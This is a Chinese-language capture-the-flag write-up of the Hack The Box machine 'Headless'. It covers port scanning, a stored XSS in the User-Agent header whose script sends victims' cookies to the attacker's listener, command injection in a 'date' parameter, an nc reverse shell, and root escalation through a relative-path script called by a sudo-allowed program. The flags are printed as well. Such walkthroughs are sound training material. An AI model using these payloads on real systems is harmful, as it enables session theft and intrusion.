HTB:Headless[WriteUP]

news2024/11/25 18:56:47

目录

连接至HTB服务器并启动靶机

1.Which is the highest open TCP port on the target machine?

2.What is the title of the page that comes up if the site detects an attack in the contact support form?

使用浏览器访问靶机5000端口

3.What is the name of the cookie that is set for a logged in user on the site?

4.What is the relative url of the page on Headless that requires authorization to access?

5.What is the parameter name on POST requests to /dashboard that has a vulnerability in it?

使用Yakit将此请求包抓取

根据该网页所展示信息可以推测上传的表单应该会存储到靶机服务器

6.What is the name of the user that the web application is running as?

直接利用Yakit的Web Fuzzer模块执行whoami命令

7.Submit the flag located in the dvir user's home directory.

USER_FLAG:826b69de0f383342b6a152920c36348a

8.What is the full path to the script that dvir can run as any user without a password?

9.syscheck calls other scripts to collect output. What is the name of the script that is called with a relative path?

10.Submit the flag located in the root user's home directory.

ROOT_FLAG:5ee60636b53a9eaea6a7b81fd2bef87a


连接至HTB服务器并启动靶机

靶机IP:10.10.11.8

分配IP:10.10.16.8


1.Which is the highest open TCP port on the target machine?

使用nmap对靶机全端口进行扫描

nmap -p- --min-rate=1500 -T4 -sS -Pn 10.10.11.8

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T4 -sS -Pn 10.10.11.8                                                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 04:57 EDT
Warning: 10.10.11.8 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.8
Host is up (7.5s latency).
Not shown: 51645 closed tcp ports (reset), 13888 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 111.90 seconds

由扫描结果可见,靶机开放的最高端口号为:5000


2.What is the title of the page that comes up if the site detects an attack in the contact support form?

使用nmap对靶机22、5050端口进行脚本、服务信息扫描

nmap -p22,5000 -sCV 10.10.11.8

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p22,5000 -sCV 10.10.11.8                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-21 05:01 EDT
Stats: 0:00:52 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 05:03 (0:00:52 remaining)
Nmap scan report for 10.10.11.8
Host is up (0.082s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Mon, 21 Oct 2024 08:49:30 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=10/21%Time=6716186F%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2
SF:\x20Python/3\.11\.2\r\nDate:\x20Mon,\x2021\x20Oct\x202024\x2008:49:30\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_
SF:Zfs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html
SF:\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n
SF:\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi
SF:dth,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construc
SF:tion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:body\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:
SF:\x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20d
SF:isplay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justi
SF:fy-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x2
SF:00,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTY
SF:PE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\
SF:x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20res
SF:ponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20ver
SF:sion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error
SF:\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\
SF:x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.04 seconds

由扫描结果可见,靶机很可能是Debian系统,5000端口托管着HTTP服务器

使用浏览器访问靶机5000端口

我们在Message框下测试插入XSS脚本

成功收到了攻击告警,标题为:Hacking Attempt Detected


3.What is the name of the cookie that is set for a logged in user on the site?

随便编辑一些信息进行发包后使用Yakit抓包

在请求包头处可以看到设置的Cookie名称为:is_admin


4.What is the relative url of the page on Headless that requires authorization to access?

使用ffuf对靶机URL路径进行FUUZ

ffuf -u http://10.10.11.8:5000/FUZZ -w ../dictionary/common.txt

尝试直接使用浏览器访问:http://{TARGET_IP}:5000/dashboard

页面显示未经授权,所以可确定/dashboard需要授权才能访问


5.What is the parameter name on POST requests to /dashboard that has a vulnerability in it?

再次回到support路径下

名称、邮箱地址、电话号这几个随便填写,Message还是填写一个XSS测试样例

使用Yakit将此请求包抓取

将UA也改成:<script>alert(1)</script>

点击发包后,收到JS弹窗,说明靶机只检测和拦截Message栏目下的XSS

所以我们只需要在User-Agent参数再次添加XSS脚本即可实现绕过

根据该网页所展示信息可以推测上传的表单应该会存储到靶机服务器

尝试利用该存储型XSS漏洞,获取所有访问该表单用户的Cookie

<script>var i=new Image(); i.src="http://{NATIVE_IP}:{NATIVE_PORT}/?cookie="+btoa(document.cookie);</script>

本地侧使用nc开启监听

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425                                                                                        
listening on [any] 1425 ...
connect to [10.10.16.19] from (UNKNOWN) [10.10.11.8] 37800
GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1
Host: 10.10.16.19:1425
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: keep-alive

成功获取到了管理员的Cookie

cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=

使用Base64解码后

cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

利用此Cookie尝试访问/dashboard

点击发包后,剩下的流量自动放行成功进入Administrator Dashboard

单机Generate Report发包,并将请求体中的Cookie再次修改成admin用户的cookie

经过反复测试,在date参数后加上分号并带上命令可以实现命令执行


6.What is the name of the user that the web application is running as?

直接利用Yakit的Web Fuzzer模块执行whoami命令

由回显可知运行当前WebAPP的用户为:dvir


7.Submit the flag located in the dvir user's home directory.

尝试利用nc反弹shell

将payload转换成URL编码

本地nc侧开启监听

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvnp 1425                                                                                        
listening on [any] 1425 ...

点击发送请求

本地nc侧收到回显

┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvnp 1425                                                                                        
listening on [any] 1425 ...
connect to [10.10.16.19] from (UNKNOWN) [10.10.11.8] 55668
whoami
dvir

提升tty

script -c /bin/bash -q /dev/null

寻找user_flag位置

find / -name 'user.txt' 2>/dev/null

查看user_flag内容

cat /home/dvir/user.txt

script -c /bin/bash -q /dev/null
dvir@headless:~/app$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/dvir/user.txt
dvir@headless:~/app$ cat /home/dvir/user.txt
cat /home/dvir/user.txt
826b69de0f383342b6a152920c36348a

USER_FLAG:826b69de0f383342b6a152920c36348a


8.What is the full path to the script that dvir can run as any user without a password?

查看一下该用户可特权运行的文件

dvir@headless:~/app$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

完整路径为:/usr/bin/syscheck


9.syscheck calls other scripts to collect output. What is the name of the script that is called with a relative path?

查看该文件内容:cat /usr/bin/syscheck

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

我们这里关注这一段代码

这段代码的作用是检查名为initdb.sh的进程是否正在运行,如果没有找到这个进程,则输出 “Database service is not running. Starting it...”然后使用相对路径执行initdb.sh脚本


10.Submit the flag located in the root user's home directory.

随便找一个目录创建一个initdb.sh文件

touch initdb.sh

在文件中写入创建新Bash的命令

echo -e '#!/bin/bash\n/bin/bash' > initdb.sh

赋执行权限

chmod +x initdb.sh

直接使用特权运行/usr/bin/syscheck文件

sudo /usr/bin/syscheck

dvir@headless:~/app$ echo -e '#!/bin/bash\n/bin/bash' > initdb.sh            
echo -e '#!/bin/bash\n/bin/bash' > initdb.sh
dvir@headless:~/app$ cat initdb.sh
cat initdb.sh
#!/bin/bash
/bin/bash
dvir@headless:~/app$ chmod +x initdb.sh
chmod +x initdb.sh
dvir@headless:~/app$ ls -l initdb.sh
ls -l initdb.sh
-rwxr-xr-x 1 dvir dvir 22 Oct 22 15:34 initdb.sh
dvir@headless:~/app$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.02, 0.02
Database service is not running. Starting it...
whoami
whoami
root

提升tty

script -c /bin/bash -q /dev/null

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

script -c /bin/bash -q /dev/null
root@headless:/home/dvir/app# find / -name 'root.txt'   
find / -name 'root.txt'
/root/root.txt
root@headless:/home/dvir/app# cat /root/root.txt
cat /root/root.txt
5ee60636b53a9eaea6a7b81fd2bef87a

ROOT_FLAG:5ee60636b53a9eaea6a7b81fd2bef87a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2221263.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

海量数据在有限资源上处理的方法

1. 使用哈希 适用场景&#xff1a;需要处理的数据中&#xff0c;相同的数据可以分配到同样的机器/文件进行处理。 技巧总结&#xff1a;相同的数会哈希到同一个位置上 这类题目一般面试官给的描述都不是很清晰&#xff0c;需要自己去问条件、然后给出方案。 回答思路是&#…

hdfs的客户端(big data tools插件)

1.下载hadoop的压缩包在Windows,后解压 2.下载hadoop.dll文件和winutil.exe文件(网上自行查找) 下载完把这两个文件放入hadoop的bin目录 3.设置环境变量: $HADOOP_HOME指向hadoop的文件夹 4.在jetbrains公司的软件里下载big data tools插件:(在此展示的idea的) 下载完重启ide…

AI金融攻防赛:YOLO模型的数据增强与性能优化(DataWhale组队学习)

引言 大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年10月学习赛的AI金融攻防赛学习总结文档。在前一篇文章中&#xff0c;我们详细介绍了如何在金融场景凭证篡改检测中应用YOLO算法。本文将在此基础…

深入了解Spring重试组件spring-retry

在我们的项目中&#xff0c;为了提高程序的健壮性&#xff0c;很多时候都需要有重试机制进行兜底&#xff0c;最多就场景就比如调用远程的服务&#xff0c;调用中间件服务等&#xff0c;因为网络是不稳定的&#xff0c;所以在进行远程调用的时候偶尔会产生超时的异常&#xff0…

渗透测试实战—教育攻防演练中突破网络隔离

免责声明&#xff1a;文章来源于真实渗透测试&#xff0c;已获得授权&#xff0c;且关键信息已经打码处理&#xff0c;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本…

3.matplotlib基础及用法(全)

一.基础绘图 折线图plot散点图scatter柱状图bar饼图pie 二.图表设置 设置标题设置线条设置坐标轴添加图例添加注释设置画布大小与分辨率 三.高级功能 绘制子图保存图形 一.基础绘图 1.折线图plot import matplotlib.pyplot as plt x [1, 2, 3, 4, 5] y [2, 3, 5, 7, 11] pl…

如何选择合适的电感器来匹配感性负载?

在匹配感性负载时&#xff0c;选择合适的电感器是至关重要的。电感器的主要作用是抑制电流变化&#xff0c;从而维持电路的稳定性。为了确保电路的稳定运行&#xff0c;需要考虑以下因素&#xff1a; 1. 电流和电压&#xff1a;首先&#xff0c;需要确定电感器的额定电流和额定…

GJS-WCP

不懂的就问&#xff0c;但我也是二把手......哭死 web GJS-ezssti 很常规的ssti模板注入&#xff0c;只过滤了"/","flag"。 过滤了/,flag 可以利用bash的特性绕过&#xff0c;如字符串截取&#xff0c;环境变量等等。payload1: {{url_for.__globals__[…

【uniapp】微信小程序使用echarts图表记录

1、插件引入 在Dcloud插件市场下载echarts插件&#xff1a;插件地址 或去相关代码库下载js&#xff1a;gitee地址 将static文件夹下中的echarts.min.js和ecStat.min.js复制到自己项目的static文件夹内或到echarts官方定制自己需要的图表类型下载js文件并放入相关目录。echart…

让你的 IDEA 使用更流畅 | IDEA内存修改

随着idea使用越来越频繁&#xff0c;笔者最近发现使用过程中有时候会出现卡顿现象&#xff0c;例如&#xff0c;启动软件变慢&#xff0c;打开项目的速度变慢等&#xff1a; 因此如果各位朋友觉得最近也遇到了同样的困惑&#xff0c;不妨跟着笔者一起来设置IDEA的内存大小吧~ …

【C#】在 WinForms 中使用 MVVM(Model-View-ViewModel) 设计模式

结合当前的 DevExpress 项目&#xff0c;在 WinForms 中使用 MVVM&#xff08;Model-View-ViewModel&#xff09; 设计模式。这个例子将通过数据绑定、命令绑定来展示 MVVM 模式的运用。 1. 项目结构 假设我们要实现一个简单的应用程序&#xff0c;它有一个文本框和一个按钮&…

【C++指南】类和对象(四):类的默认成员函数——全面剖析 : 拷贝构造函数

引言 拷贝构造函数是C中一个重要的特性&#xff0c;它允许一个对象通过另一个已创建好的同类型对象来初始化。 了解拷贝构造函数的概念、作用、特点、规则、默认行为以及如何自定义实现&#xff0c;对于编写健壮和高效的C程序至关重要。 C类和对象系列文章&#xff0c;可点击下…

【计网】理解TCP全连接队列与tcpdump抓包

希望是火&#xff0c;失望是烟&#xff0c; 生活就是一边点火&#xff0c;一边冒烟。 理解TCP全连接队列与tcpdump抓包 1 TCP 全连接队列1.1 重谈listen函数1.2 初步理解全连接队列1.3 深入理解全连接队列 2 tcpdump抓包 1 TCP 全连接队列 1.1 重谈listen函数 这里我们使用…

【JAVA】第三张_Eclipse下载、安装、汉化

简介 Eclipse是一种流行的集成开发环境&#xff08;IDE&#xff09;&#xff0c;可用于开发各种编程语言&#xff0c;包括Java、C、Python等。它最初由IBM公司开发&#xff0c;后来被Eclipse Foundation接手并成为一个开源项目。 Eclipse提供了一个功能强大的开发平台&#x…

IDEA如何查看所有的断点(Breakpoints)并关闭

前言 我们在使用IDEA开发Java应用时&#xff0c;基本上都需要进行打断点的操作&#xff0c;这方便我们排查BUG&#xff0c;也方便我们查看设计的是否正确。 不过有时候&#xff0c;我们不希望进入断点&#xff0c;这时候除了点击断点关闭外&#xff0c;有没有更快速的方便关闭…

深度解析机器学习的四大核心功能:分类、回归、聚类与降维

深度解析机器学习的四大核心功能&#xff1a;分类、回归、聚类与降维 前言分类&#xff08;Classification&#xff09;&#xff1a;预测离散标签的艺术关键算法与代码示例逻辑回归支持向量机&#xff08;SVM&#xff09; 回归&#xff08;Regression&#xff09;&#xff1a;预…

HarmonyOS Next应用开发——图像PixelMap变换

【高心星出品】 图像变换 图片处理指对PixelMap进行相关的操作&#xff0c;如获取图片信息、裁剪、缩放、偏移、旋转、翻转、设置透明度、读写像素数据等。图片处理主要包括图像变换、位图操作&#xff0c;本文介绍图像变换。 图形裁剪 // 裁剪图片 x&#xff0c;y为裁剪的起…

impdp+remap_schema导入后登录报ORA-01017: Invalid Username/password

环境说明&#xff1a;有个11.2.0.4的rac数据库&#xff0c;现需要把USR_OA克隆一份出来做测试&#xff0c;新用户名是TEST_OA&#xff0c;直接是expdp导出用户&#xff0c;再用impdpremap_schema生成TEST_OA&#xff0c; 业务人员使用PLSQL(版本12.0.1.1814) 登录TEST_OA时总…

Python程序设计 内置函数 日志模块

logging(日志) 日志记录是程序员工具箱中非常有用的工具。它可以帮助您更好地理解程序的流程&#xff0c;并发现您在开发过程中可能没有想到的场景。 日志为开发人员提供了额外的一组眼睛&#xff0c;这些眼睛不断关注应用程序正在经历的流程。它们可以存储信息&#xff0c;例…

ShardingProxy服务端分库分表

目录 一、为什么要有服务端分库分表&#xff1f; 二、ShardingProxy基础使用 1、部署ShardingProxy 2、配置常用分库分表策略 三、ShardingSphere中的分布式事务机制 1、什么是XA事务&#xff1f; 2、实战理解XA事务 3、如何在ShardingProxy中使用另外两种事务管理器&a…